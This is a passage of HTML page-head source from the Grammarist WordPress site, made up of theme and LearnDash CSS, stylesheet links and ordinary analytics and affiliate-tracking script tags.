359.nav-below-header .main-navigation .inside-navigation.grid-container, .nav-above-header .main-navigation .inside-navigation.grid-container{padding:0px 16px 0px 16px;}.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header{padding:70px 10px 20px 10px;}.site-main .wp-block-group__inner-container{padding:70px 10px 20px 10px;}.separate-containers .paging-navigation{padding-top:20px;padding-bottom:20px;}.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull{margin-left:-10px;width:calc(100% + 20px);max-width:calc(100% + 20px);}.one-container.right-sidebar .site-main,.one-container.both-right .site-main{margin-right:10px;}.one-container.left-sidebar .site-main,.one-container.both-left .site-main{margin-left:10px;}.one-container.both-sidebars .site-main{margin:0px 10px 0px 10px;}.one-container.archive .post:not(:last-child):not(.is-loop-template-item), .one-container.blog .post:not(:last-child):not(.is-loop-template-item){padding-bottom:20px;}.main-navigation .main-nav ul li a,.menu-toggle,.main-navigation .menu-bar-item > a{padding-left:14px;padding-right:14px;}.main-navigation .main-nav ul ul li a{padding:10px 14px 10px 14px;}.rtl .menu-item-has-children .dropdown-menu-toggle{padding-left:14px;}.menu-item-has-children .dropdown-menu-toggle{padding-right:14px;}.rtl .main-navigation .main-nav ul li.menu-item-has-children > a{padding-right:14px;}.widget-area .widget{padding:30px 0px 30px 0px;}.footer-widgets-container{padding:0px 40px 0px 40px;}.inside-site-info{padding:20px;}@media (max-width:768px){.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .separate-containers .paging-navigation, .one-container .site-content, .inside-page-header{padding:80px 30px 20px 30px;}.site-main .wp-block-group__inner-container{padding:80px 30px 20px 30px;}.inside-top-bar{padding-right:30px;padding-left:30px;}.inside-header{padding-top:20px;padding-right:20px;padding-bottom:20px;padding-left:30px;}.widget-area .widget{padding-top:20px;padding-right:20px;padding-bottom:20px;padding-left:20px;}.footer-widgets-container{padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.inside-site-info{padding-right:30px;padding-left:30px;}.entry-content .alignwide, body:not(.no-sidebar) .entry-content .alignfull{margin-left:-30px;width:calc(100% + 60px);max-width:calc(100% + 60px);}.one-container .site-main .paging-navigation{margin-bottom:20px;}}/* End cached CSS */.is-right-sidebar{width:30%;}.is-left-sidebar{width:25%;}.site-content .content-area{width:100%;}@media (max-width: 1084px){.main-navigation .menu-toggle,.sidebar-nav-mobile:not(#sticky-placeholder){display:block;}.main-navigation ul,.gen-sidebar-nav,.main-navigation:not(.slideout-navigation):not(.toggled) .main-nav > ul,.has-inline-mobile-toggle #site-navigation .inside-navigation > *:not(.navigation-search):not(.main-nav){display:none;}.nav-align-right .inside-navigation,.nav-align-center .inside-navigation{justify-content:space-between;}}
360#content {max-width: 1137px;margin-left: auto;margin-right: auto;}
361.dynamic-author-image-rounded{border-radius:100%;}.dynamic-featured-image, .dynamic-author-image{vertical-align:middle;}.one-container.blog .dynamic-content-template:not(:last-child), .one-container.archive .dynamic-content-template:not(:last-child){padding-bottom:0px;}.dynamic-entry-excerpt > p:last-child{margin-bottom:0px;}
362.main-navigation.slideout-navigation .main-nav > ul > li > a{line-height:50px;}
363/*# sourceURL=generate-style-inline-css */
364</style>
365<link data-minify="1" rel='stylesheet' id='generate-child-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/themes/generatepress_child/style.css?ver=1789058374' media='all' />
366
367<link data-minify="1" rel='stylesheet' id='learndash-front-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/sfwd-lms/themes/ld30/assets/css/learndash.min.css?ver=1789058374' media='all' />
368<style id="learndash-front-inline-css">
369		.learndash-wrapper .ld-item-list .ld-item-list-item.ld-is-next,
370		.learndash-wrapper .wpProQuiz_content .wpProQuiz_questionListItem label:focus-within {
371			border-color: #42b99f;
372		}
373
374		/*
375		.learndash-wrapper a:not(.ld-button):not(#quiz_continue_link):not(.ld-focus-menu-link):not(.btn-blue):not(#quiz_continue_link):not(.ld-js-register-account):not(#ld-focus-mode-course-heading):not(#btn-join):not(.ld-item-name):not(.ld-table-list-item-preview):not(.ld-lesson-item-preview-heading),
376		 */
377
378		.learndash-wrapper .ld-breadcrumbs a,
379		.learndash-wrapper .ld-lesson-item.ld-is-current-lesson .ld-lesson-item-preview-heading,
380		.learndash-wrapper .ld-lesson-item.ld-is-current-lesson .ld-lesson-title,
381		.learndash-wrapper .ld-primary-color-hover:hover,
382		.learndash-wrapper .ld-primary-color,
383		.learndash-wrapper .ld-primary-color-hover:hover,
384		.learndash-wrapper .ld-primary-color,
385		.learndash-wrapper .ld-tabs .ld-tabs-navigation .ld-tab.ld-active,
386		.learndash-wrapper .ld-button.ld-button-transparent,
387		.learndash-wrapper .ld-button.ld-button-reverse,
388		.learndash-wrapper .ld-icon-certificate,
389		.learndash-wrapper .ld-login-modal .ld-login-modal-login .ld-modal-heading,
390		#wpProQuiz_user_content a,
391		.learndash-wrapper .ld-item-list .ld-item-list-item a.ld-item-name:hover,
392		.learndash-wrapper .ld-focus-comments__heading-actions .ld-expand-button,
393		.learndash-wrapper .ld-focus-comments__heading a,
394		.learndash-wrapper .ld-focus-comments .comment-respond a,
395		.learndash-wrapper .ld-focus-comment .ld-comment-reply a.comment-reply-link:hover,
396		.learndash-wrapper .ld-expand-button.ld-button-alternate {
397			color: #42b99f !important;
398		}
399
400		.learndash-wrapper .ld-focus-comment.bypostauthor>.ld-comment-wrapper,
401		.learndash-wrapper .ld-focus-comment.role-group_leader>.ld-comment-wrapper,
402		.learndash-wrapper .ld-focus-comment.role-administrator>.ld-comment-wrapper {
403			background-color:rgba(66, 185, 159, 0.03) !important;
404		}
405
406
407		.learndash-wrapper .ld-primary-background,
408		.learndash-wrapper .ld-tabs .ld-tabs-navigation .ld-tab.ld-active:after {
409			background: #42b99f !important;
410		}
411
412
413
414		.learndash-wrapper .ld-course-navigation .ld-lesson-item.ld-is-current-lesson .ld-status-incomplete,
415		.learndash-wrapper .ld-focus-comment.bypostauthor:not(.ptype-sfwd-assignment) >.ld-comment-wrapper>.ld-comment-avatar img,
416		.learndash-wrapper .ld-focus-comment.role-group_leader>.ld-comment-wrapper>.ld-comment-avatar img,
417		.learndash-wrapper .ld-focus-comment.role-administrator>.ld-comment-wrapper>.ld-comment-avatar img {
418			border-color: #42b99f !important;
419		}
420
421
422
423		.learndash-wrapper .ld-loading::before {
424			border-top:3px solid #42b99f !important;
425		}
426
427		.learndash-wrapper .ld-button:hover:not([disabled]):not(.ld-button-transparent):not(.ld--ignore-inline-css),
428		#learndash-tooltips .ld-tooltip:after,
429		#learndash-tooltips .ld-tooltip,
430		.ld-tooltip:not(.ld-tooltip--modern) [role="tooltip"],
431		.learndash-wrapper .ld-primary-background,
432		.learndash-wrapper .btn-join:not(.ld--ignore-inline-css),
433		.learndash-wrapper #btn-join:not(.ld--ignore-inline-css),
434		.learndash-wrapper .ld-button:not([disabled]):not(.ld-button-reverse):not(.ld-button-transparent):not(.ld--ignore-inline-css),
435		.learndash-wrapper .ld-expand-button:not([disabled]),
436		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button:not([disabled]):not(.wpProQuiz_button_reShowQuestion):not(.wpProQuiz_button_restartQuiz),
437		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button2:not([disabled]),
438		.learndash-wrapper .ld-focus .ld-focus-sidebar .ld-course-navigation-heading,
439		.learndash-wrapper .ld-focus-comments .form-submit #submit,
440		.learndash-wrapper .ld-login-modal input[type='submit']:not([disabled]),
441		.learndash-wrapper .ld-login-modal .ld-login-modal-register:not([disabled]),
442		.learndash-wrapper .wpProQuiz_content .wpProQuiz_certificate a.btn-blue:not([disabled]),
443		.learndash-wrapper .ld-focus .ld-focus-header .ld-user-menu .ld-user-menu-items a:not([disabled]),
444		#wpProQuiz_user_content table.wp-list-table thead th,
445		#wpProQuiz_overlay_close:not([disabled]),
446		.learndash-wrapper .ld-expand-button.ld-button-alternate:not([disabled]) .ld-icon {
447			background-color: #42b99f !important;
448			color: #000000;
449		}
450
451		.learndash-wrapper .ld-focus .ld-focus-sidebar .ld-focus-sidebar-tr
451igger:not([disabled]):not(:hover):not(:focus) .ld-icon {
452			background-color: #42b99f;
453		}
454
455		.learndash-wrapper .ld-focus .ld-focus-sidebar .ld-focus-sidebar-trigger:hover .ld-icon,
456		.learndash-wrapper .ld-focus .ld-focus-sidebar .ld-focus-sidebar-trigger:focus .ld-icon {
457			border-color: #42b99f;
458			color: #42b99f;
459		}
460
461		.learndash-wrapper .ld-button:focus:not(.ld-button-transparent):not(.ld--ignore-inline-css),
462		.learndash-wrapper .btn-join:focus:not(.ld--ignore-inline-css),
463		.learndash-wrapper #btn-join:focus:not(.ld--ignore-inline-css),
464		.learndash-wrapper .ld-expand-button:focus,
465		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button:not(.wpProQuiz_button_reShowQuestion):focus:not(.wpProQuiz_button_restartQuiz),
466		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button2:focus,
467		.learndash-wrapper .ld-focus-comments .form-submit #submit,
468		.learndash-wrapper .ld-login-modal input[type='submit']:focus,
469		.learndash-wrapper .ld-login-modal .ld-login-modal-register:focus,
470		.learndash-wrapper .wpProQuiz_content .wpProQuiz_certificate a.btn-blue:focus {
471			opacity: 0.75; /* Replicates the hover/focus states pre-4.21.3. */
472			outline-color: #42b99f;
473		}
474
475		.learndash-wrapper .ld-button:hover:not(.ld-button-transparent):not(.ld--ignore-inline-css),
476		.learndash-wrapper .btn-join:hover:not(.ld--ignore-inline-css),
477		.learndash-wrapper #btn-join:hover:not(.ld--ignore-inline-css),
478		.learndash-wrapper .ld-expand-button:hover,
479		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button:not(.wpProQuiz_button_reShowQuestion):hover:not(.wpProQuiz_button_restartQuiz),
480		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button2:hover,
481		.learndash-wrapper .ld-focus-comments .form-submit #submit,
482		.learndash-wrapper .ld-login-modal input[type='submit']:hover,
483		.learndash-wrapper .ld-login-modal .ld-login-modal-register:hover,
484		.learndash-wrapper .wpProQuiz_content .wpProQuiz_certificate a.btn-blue:hover {
485			background-color: #42b99f; /* Replicates the hover/focus states pre-4.21.3. */
486			opacity: 0.85; /* Replicates the hover/focus states pre-4.21.3. */
487		}
488
489		.learndash-wrapper .ld-item-list .ld-item-search .ld-closer:focus {
490			border-color: #42b99f;
491		}
492
493		.learndash-wrapper .ld-focus .ld-focus-header .ld-user-menu .ld-user-menu-items:before {
494			border-bottom-color: #42b99f !important;
495		}
496
497		.learndash-wrapper .ld-button.ld-button-transparent:hover {
498			background: transparent !important;
499		}
500
501		.learndash-wrapper .ld-button.ld-button-transparent:focus {
502			outline-color: #42b99f;
503		}
504
505		.learndash-wrapper .ld-focus .ld-focus-header .sfwd-mark-complete .learndash_mark_complete_button:not(.ld--ignore-inline-css),
506		.learndash-wrapper .ld-focus .ld-focus-header #sfwd-mark-complete #learndash_mark_complete_button,
507		.learndash-wrapper .ld-button.ld-button-transparent,
508		.learndash-wrapper .ld-button.ld-button-alternate,
509		.learndash-wrapper .ld-expand-button.ld-button-alternate {
510			background-color:transparent !important;
511		}
512
513		.learndash-wrapper .ld-focus-header .ld-user-menu .ld-user-menu-items a,
514		.learndash-wrapper .ld-button.ld-button-reverse:hover,
515		.learndash-wrapper .ld-alert-success .ld-alert-icon.ld-icon-certificate,
516		.learndash-wrapper .ld-alert-warning .ld-button,
517		.learndash-wrapper .ld-primary-background.ld-status {
518			color:white !important;
519		}
520
521		.learndash-wrapper .ld-status.ld-status-unlocked {
522			background-color: rgba(66,185,159,0.2) !important;
523			color: #42b99f !important;
524		}
525
526		.learndash-wrapper .wpProQuiz_content .wpProQuiz_addToplist {
527			background-color: rgba(66,185,159,0.1) !important;
528			border: 1px solid #42b99f !important;
529		}
530
531		.learndash-wrapper .wpProQuiz_content .wpProQuiz_toplistTable th {
532			background: #42b99f !important;
533		}
534
535		.learndash-wrapper .wpProQuiz_content .wpProQuiz_toplistTrOdd {
536			background-color: rgba(66,185,159,0.1) !important;
537		}
538
539
540		.learndash-wrapper .wpProQuiz_content .wpProQuiz_time_limit .wpProQuiz_progress {
541			background-color: #42b99f !important;
542		}
543		
544		.learndash-wrapper #quiz_continue_link,
545		.learndash-wrapper .ld-secondary-background,
546		.learndash-wrapper .learndash_mark_complete_button:not(.ld--ignore-inline-css),
547		.learndash-wrapper #learndash_mark_complete_button,
548		.learndash-wrapper .ld-status-complete,
549		.learndash-wrapper .ld-alert-success .ld-button,
550		.learndash-wrapper .ld-alert-success .ld-alert-icon {
551			background-color: #67c7b2 !important;
552		}
553
554		.learndash-wrapper #quiz_continue_link:focus,
555		.learndash-wrapper .learndash_mark_complete_button:focus:not(.ld--ignore-inline-css),
556		.learndash-wrapper #learndash_mark_complete_button:focus,
557		.learndash-wrapper .ld-alert-success .ld-button:focus {
558			outline-color: #67c7b2;
559		}
560
561		.learndash-wrapper .wpProQuiz_content a#quiz_continue_link {
562			background-color: #67c7b2 !important;
563		}
564
565		.learndash-wrapper .wpProQuiz_content a#quiz_continue_link:focus {
566			outline-color: #67c7b2;
567		}
568
569		.learndash-wrapper .course_progress .sending_progress_bar {
570			background: #67c7b2 !important;
571		}
572
573		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button_reShowQuestion:hover, .learndash-wrapper .wpProQuiz_content .wpProQuiz_button_restartQuiz:hover {
574			background-color: #67c7b2 !important;
575			opacity: 0.75;
576		}
577
578		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button_reShowQuestion:focus,
579		.learndash-wrapper .wpProQuiz_content .wpProQuiz_button_restartQuiz:focus {
580			outline-color: #67c7b2;
581		}
582
583		.learndash-wrapper .ld-secondary-color-hover:hover,
584		.learndash-wrapper .ld-secondary-color,
585		.learndash-wrapper .ld-focus .ld-focus-header .sfwd-mark-complete .learndash_mark_complete_button:not(.ld--ignore-inline-css),
586		.learndash-wrapper .ld-focus .ld-focus-header #sfwd-mark-complete #learndash_mark_complete_button,
587		.learndash-wrapper .ld-focus .ld-focus-header .sfwd-mark-complete:after {
588			color: #67c7b2 !important;
589		}
590
591		.learndash-wrapper .ld-secondary-in-progress-icon {
592			border-left-color: #67c7b2 !important;
593			border-top-color: #67c7b2 !important;
594		}
595
596		.learndash-wrapper .ld-alert-success {
597			border-color: #67c7b2;
598			background-color: transparent !important;
599			color: #67c7b2;
600		}
601
602		
603/*# sourceURL=learndash-front-inline-css */
604</style>
605<link data-minify="1" rel='stylesheet' id='convertkit-admin-quicktags-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/convertkit/resources/backend/css/quicktags.css?ver=1789058374' media='all' />
606<link data-minify="1" rel='stylesheet' id='generateblocks-global-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/cache/min/1/wp-content/uploads/generateblocks/style-global.css?ver=1789058374&wpr_t=1790182192' media='all' />
607<link data-minify="1" rel='stylesheet' id='generateblocks-css' href='https://grammarist.com/wp-content/cache/background-css/1/grammarist.com/wp-content/cache/min/1/wp-content/uploads/generateblocks/style-108520.css?ver=1789059126&wpr_t=1790182192' media='all' />
608<link rel='stylesheet' id='generate-blog-columns-css' href='https://grammarist.com/wp-content/plugins/gp-premium/blog/functions/css/columns.min.css?ver=2.5.6' media='all' />
609<link rel='stylesheet' id='generate-secondary-nav-css' href='https://grammarist.com/wp-content/plugins/gp-premium/secondary-nav/functions/css/main.min.css?ver=2.5.6' media='all' />
610<style id="generate-secondary-nav-inline-css">
611.secondary-navigation{background-color:rgba(242,245,250,0);}.secondary-nav-below-header .secondary-navigation .inside-navigation.grid-container, .secondary-nav-above-header .secondary-navigation .inside-navigation.grid-container{padding:0px 5px 0px 5px;}.secondary-navigation .main-nav ul li a,.secondary-navigation .menu-toggle,.secondary-menu-bar-items .menu-bar-item > a{color:var(--contrast);padding-left:35px;padding-right:35px;line-height:50px;}.secondary-navigation .secondary-menu-bar-items{color:var(--contrast);}button.secondary-menu-toggle:hover,button.secondary-menu-toggle:focus{color:var(--contrast);}.widget-area .secondary-navigation{margin-bottom:20px;}.secondary-navigation ul ul{background-color:#303030;top:auto;}.secondary-navigation .main-nav ul ul li a{color:#ffffff;padding-left:35px;padding-right:35px;}.secondary-navigation .menu-item-has-children .dropdown-menu-toggle{padding-right:35px;}.secondary-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .secondary-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .secondary-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a, .secondary-menu-bar-items .menu-bar-item:hover > a{color:var(--contrast);background-color:rgba(242,245,250,0);}.secondary-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a,.secondary-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a,.secondary-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a{color:#ffffff;background-color:#474747;}.secondary-navigation .main-nav ul li[class*="current-menu-"] > a{color:var(--contrast);background-color:rgba(242,245,250,0);}.secondary-navigation .main-nav ul ul li[class*="current-menu-"] > a{color:#ffffff;background-color:#474747;}.secondary-navigation.toggled .dropdown-menu-toggle:before{display:none;}@media (max-width: 1084px) {.secondary-menu-bar-items .menu-bar-item:hover > a{background: none;color: var(--contrast);}}
612.secondary-navigation .main-nav ul li a, .secondary-navigation .menu-toggle, .secondary-navigation .menu-bar-items{font-weight:700;text-transform:uppercase;font-size:15px;line-height:2.5;}
613/*# sourceURL=generate-secondary-nav-inline-css */
614</style>
615<link rel='stylesheet' id='generate-secondary-nav-mobile-css' href='https://grammarist.com/wp-content/plugins/gp-premium/secondary-nav/functions/css/main-mobile.min.css?ver=2.5.6' media='all' />
616<link rel='stylesheet' id='generate-offside-css' href='https://grammarist.com/wp-content/plugins/gp-premium/menu-plus/functions/css/offside.min.css?ver=2.5.6' media='all' />
617<style id="generate-offside-inline-css">
618:root{--gp-slideout-width:265px;}.slideout-navigation.main-navigation{background-color:#e1e6ed;}.slideout-navigation.main-navigation .main-nav ul li a{color:var(--contrast);}.slideout-navigation.main-navigation ul ul{background-color:var(--base-2);}.slideout-navigation.main-navigation .main-nav ul ul li a{color:var(--contrast);}.slideout-navigation.main-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .slideout-navigation.main-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .slideout-navigation.main-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a{color:var(--global-color-12);}.slideout-navigation.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a, .slideout-navigation.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .slideout-navigation.main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a{color:var(--global-color-12);background-color:rgba(0,0,0,0);}.slideout-navigation.main-navigation .main-nav ul li[class*="current-menu-"] > a{color:var(--contrast-3);}.slideout-navigation.main-navigation .main-nav ul ul li[class*="current-menu-"] > a{background-color:rgba(0,0,0,0);}.slideout-navigation, .slideout-navigation a{color:var(--contrast);}.slideout-navigation button.slideout-exit{color:var(--contrast);padding-left:14px;padding-right:14px;}.slide-opened nav.toggled .menu-toggle:before{display:none;}@media (max-width: 1084px){.menu-bar-item.slideout-toggle{display:none;}}
619.slideout-navigation.main-navigation .main-nav ul li a{font-weight:600;text-transform:uppercase;font-size:16px;line-height:2.2;}@media (max-width:768px){.slideout-navigation.main-navigation .main-nav ul li a{font-size:20px;}}
620/*# sourceURL=generate-offside-inline-css */
621</style>
622<link rel='stylesheet' id='generate-navigation-branding-css' href='https://grammarist.com/wp-content/plugins/gp-premium/menu-plus/functions/css/navigation-branding-flex.min.css?ver=2.5.6' media='all' />
623<style id="generate-navigation-branding-inline-css">
624.main-navigation.has-branding .inside-navigation.grid-container, .main-navigation.has-branding.grid-container .inside-navigation:not(.grid-container){padding:0px 10px 0px 10px;}.main-navigation.has-branding:not(.grid-container) .inside-navigation:not(.grid-container) .navigation-branding{margin-left:10px;}.navigation-branding img, .site-logo.mobile-header-logo img{height:60px;width:auto;}.navigation-branding .main-title{line-height:60px;}@media (max-width: 1084px){.main-navigation.has-branding.nav-align-center .menu-bar-items, .main-navigation.has-sticky-branding.navigation-stick.nav-align-center .menu-bar-items{margin-left:auto;}.navigation-branding{margin-right:auto;margin-left:10px;}.navigation-branding .main-title, .mobile-header-navigation .site-logo{margin-left:10px;}.main-navigation.has-branding .inside-navigation.grid-container{padding:0px;}}
625/*# sourceURL=generate-navigation-branding-inline-css */
626</style>
627<script type="text/rocketlazyloadscript" id="surecart-affiliate-tracking-js-before">
628window.SureCartAffiliatesConfig = {
629				"publicToken": "pt_mFtFbBnyox9WoSEkY7EHViT4",
630				"baseURL":"https://api.surecart.com/v1"
631			};
632//# sourceURL=surecart-affiliate-tracking-js-before
633</script>
vendor: 1 bytes, line 633
633
634<script type="text/rocketlazyloadscript" data-wp-strategy="defer" defer id="surecart-affiliate-tracking-js" data-rocket-src="https://js.surecart.com/v1/affiliates?ver=1.1"></script>
vendor: 1 bytes, line 634
634
635<script id="jquery-core-js-extra">
636var pysFacebookRest = {"restApiUrl":"https://grammarist.com/wp-json/pys-facebook/v1/event","debug":""};
637//# sourceURL=jquery-core-js-extra
638</script>
vendor: 1 bytes, line 638
638
639<script type="text/rocketlazyloadscript" id="jquery-core-js" data-rocket-src="https://grammarist.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 639
639
640<script type="text/rocketlazyloadscript" id="jquery-migrate-js" data-rocket-src="https://grammarist.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
vendor: 1 bytes, line 640
640
641<script id="jquery-cookie-js-extra">
642var affwp_scripts = {"ajaxurl":"https://grammarist.com/wp-admin/admin-ajax.php"};
643//# sourceURL=jquery-cookie-js-extra
644</script>
vendor: 1 bytes, line 644
644
645<script type="text/rocketlazyloadscript" id="jquery-cookie-js" data-rocket-src="https://grammarist.com/wp-content/plugins/affiliate-wp/assets/js/jquery.cookie.min.js?ver=1.4.0"></script>
vendor: 1 bytes, line 645
645
646<script id="affwp-tracking-js-extra">
647var affwp_debug_vars = {"integrations":{"contactform7":"Contact Form 7","elementor":"Elementor","formidablepro":"Formidable Pro","learndash":"LearnDash","woocommerce":"WooCommerce"},"version":"2.27.4","currency":"USD","ref_cookie":"affwp_ref","visit_cookie":"affwp_ref_visit_id","campaign_cookie":"affwp_campaign"};
648//# sourceURL=affwp-tracking-js-extra
649</script>
vendor: 1 bytes, line 649
649
650<script type="text/rocketlazyloadscript" id="affwp-tracking-js" data-rocket-src="https://grammarist.com/wp-content/plugins/affiliate-wp/assets/js/tracking.min.js?ver=2.27.4"></script>
650
651<link rel="https://api.w.org/" href="https://grammarist.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://grammarist.com/wp-json/wp/v2/pages/108520" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://grammarist.com/xmlrpc.php?rsd" />
652
653<link rel='shortlink' href='https://grammarist.com/?p=108520' />
654<script type="text/rocketlazyloadscript" data-rocket-type="text/javascript">!function(e,t){(e=t.createElement("script")).src="https://cdn.convertbox.com/convertbox/js/embed.js",e.id="app-convertbox-script",e.async=true,e.dataset.uuid="f48e7432-2ad7-42b0-a2ef-c78046f59c1d",document.getElementsByTagName("head")[0].appendChild(e)}(window,document);</script>
vendor: 1 bytes, line 654
654
655<script type="text/rocketlazyloadscript">var cb_wp=cb_wp || {};cb_wp.is_user_logged_in=false;cb_wp.post_data={"id":108520,"tags":[],"post_type":"page","cats":[]};</script>
655		
655<script type="text/rocketlazyloadscript" data-rocket-type="text/javascript">
656			(function(c, l, a, r, i, t, y) {
657				c[a] = c[a] || function() {
658					(c[a].q = c[a].q || []).push(arguments)
659				};
660				t = l.createElement(r);
661				t.async = 1;
662				t.src = "https://www.clarity.ms/tag/" + i + "?ref=wordpress";
663				y = l.getElementsByTagName(r)[0];
664				y.parentNode.insertBefore(t, y);
665			})(window, document, "clarity", "script", "hlyorjnlzt");
666		</script>
666
667	<meta name="facebook-domain-verification" content="dlk14v5e58su5ch0blkgcndnn73vyc" /><meta name="hubbub-info" description="Hubbub Pro 2.20.0">		
667<script type="text/rocketlazyloadscript" data-rocket-type="text/javascript">
668		var AFFWP = AFFWP || {};
669		AFFWP.referral_var = 'ref';
670		AFFWP.expiration = 30;
671		AFFWP.debug = 0;
672
673
674		AFFWP.referral_credit_last = 1;
675		</script>
vendor: 1 bytes, line 675
675
676<script type="text/rocketlazyloadscript">document.documentElement.className += " js";</script>
676
677        <style type="text/css">
678            .dashboard-buttons {
679                display: none;
680            }
681			.my-account-hero {
682				margin-bottom: 0px;
683			}
684        </style>
685         <style>
686.dpsp-pin-it-button.dpsp-pin-it-button-shape-rectangular {
687display: none;
688}
689
690.dpsp-pin-it-wrapper .dpsp-pin-it-overlay {
691display: none;
692}
693</style><style>
694	/* General Fixes */
695.page-id-96980 .elementor-accordion .elementor-accordion-item {
696  margin-bottom: 20px;
697}
698
699.interlearn svg {
700  width: 1.5em;
701  height: 1.5em;
702  display: flex;
703}
704
705ul.prosconslist {
706  margin: 0 1em 1.2em 1.5em;
707}
708
709.wp-block-quote {
710  font-size: 18px;
711}
712
713img.avatar.avatar-50.photo {
714  top: 10px;
715  position: relative;
716}
717
718.separate-containers .inside-right-sidebar {
719  display: contents;
720}
721
722.no-comments {
723  display: none;
724}
725
726.entry-content p a:link {
727  border-bottom: 3px solid currentcolor;
728}
729
730/* Author Bio Tooltip */
731.author-popup {
732  display: none;
733  position: absolute;
734  z-index: 50;
735  right: 0;
736  left: 0;
737}
738
739/* Hide Floating Sidebar on Specific Pages */
740.page-id-70514 #dpsp-floating-sidebar,
741.page-id-70519 #dpsp-floating-sidebar,
742.page-id-94939 #dpsp-floating-sidebar,
743.page-id-96488 #dpsp-floating-sidebar,
744.page-id-96831 #dpsp-floating-sidebar,
745.page-id-96980 #dpsp-floating-sidebar,
746.page-id-57287 #dpsp-floating-sidebar,
747.page-id-58661 #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened,
748.page-id-58665 #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened {
749  display: none !important;
750}
751
752@media (min-width: 1700px) {
753  #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened {
754    left: 250px;
755  }
756}
757
758@media (max-width: 1200px) {
759  #dpsp-floating-sidebar.dpsp-position-left.dpsp-shape-circle.dpsp-animation-2.opened {
760    display: none !important;
761  }
762}
763
764/* Category Slider */
765.category-slider {
766  overflow-x: scroll;
767}
768
769.category-slider .gb-grid-wrapper.gb-query-loop-wrapper {
770  flex-wrap: nowrap;
771}
772
773.category-slider .gb-grid-column {
774  flex-basis: 420px;
775  flex-shrink: 0;
776}
777
778.category-slider-meta a:link {
779  border-bottom: 0 !important;
780}
781
782.category-slider .gb-container {
783  background: none;
784}
785
786/* Custom Scrollbar */
787::-webkit-scrollbar {
788  width: 10px;
789  height: 10px;
790  background-color: #fafafa;
791  border-radius: 10px;
792}
793
794::-webkit-scrollbar-track {
795  box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3);
796  background-color: #f6f8f9;
797  border-radius: 10px;
798}
799
800::-webkit-scrollbar-thumb {
801  border-radius: 10px;
802  background-color: #42b99f;
803  background-image: -webkit-linear-gradient(45deg,
804    rgba(255, 255, 255, 0.2) 25%,
805    transparent 25%,
806    transparent 50%,
807    rgba(255, 255, 255, 0.2) 50%,
808    rgba(255, 255, 255, 0.2) 75%,
809    transparent 75%,
810    transparent
811  );
812}
813
814/* Article Padding on Mobile */
815.full-width-content.separate-containers .inside-article {
816  padding: 80px 30px 20px;
817}
818
819/* Hide image on small screen */
820@media (max-width: 480px) {
821  .hidden-image-1 {
822    display: none;
823  }
824}
825
826/* Home Page Hero Styling */
827.home-checklist .gb-headline-text {
828  margin-top: -5px;
829}
830
831.home [id^="cbox"] .cb-element__type-btn.cb-element__size-xlarge .cb-element__button {
832  font-size: 23px;
833  line-height: 35px;
834}
835
836/* Overlay for Spotlight Effect */
837#dark-overlay {
838  display: none;
839  position: fixed;
840  top: 0;
841  left: 0;
842  width: 100%;
843  height: 100%;
844  background: rgba(0, 0, 0, 0.6);
845  z-index: 9999;
846}
847
848.highlight {
849  position: relative;
850  z-index: 10000;
851  background: #fff;
852}
853
854/* Cartflows Thank You Button */
855.wcf-thankyou-wrap a.button,
856.wpcf__order-detail-form .wcf-thankyou-wrap .woocommerce-order p a.button {
857  color: #fff;
858  background-color: #42b99f;
859  text-decoration: none;
860  padding: 10px 20px;
861  display: inline-block;
862  font-weight: 600;
863  font-size: 19px;
864}
865
866/* LearnDash */
867.learndash-wrapper .wpProQuiz_questionInput[type="text"],
868.learndash-wrapper .wpProQuiz_content .wpProQuiz_questionListItem p:nth-child(odd) {
869  width: 100% !important;
870  background-color: #f0f3f6;
871}
872
873.learndash-wrapper form[name="uploadEssay"] input[type="submit"] {
874	display: none;
875	}
876
877.wp-block-file__button,
878.learndash-wrapper .wpProQuiz_answerCorrect label {
879  background: #42b99f;
880}
881
882/* WooCommerce */
883.woocommerce-MyAccount-navigation {
884  display: none;
885}
886
887.woocommerce-account .woocommerce-MyAccount-content {
888  width: 100%;
889}
890
891.woocommerce .woocommerce-form-login .woocommerce-form-login__submit {
892  background-color: #42b99f;
893  color: #fff;
894}
895
896.woocommerce .woocommerce-form-login .woocommerce-form-login__submit:hover {
897  background-color: #379b85;
898}
899
900/* Progress Bar */
901.progresscontainer .progress-bar,
902.progresscontainer .progress-bar-checkout {
903  border-radius: 12px;
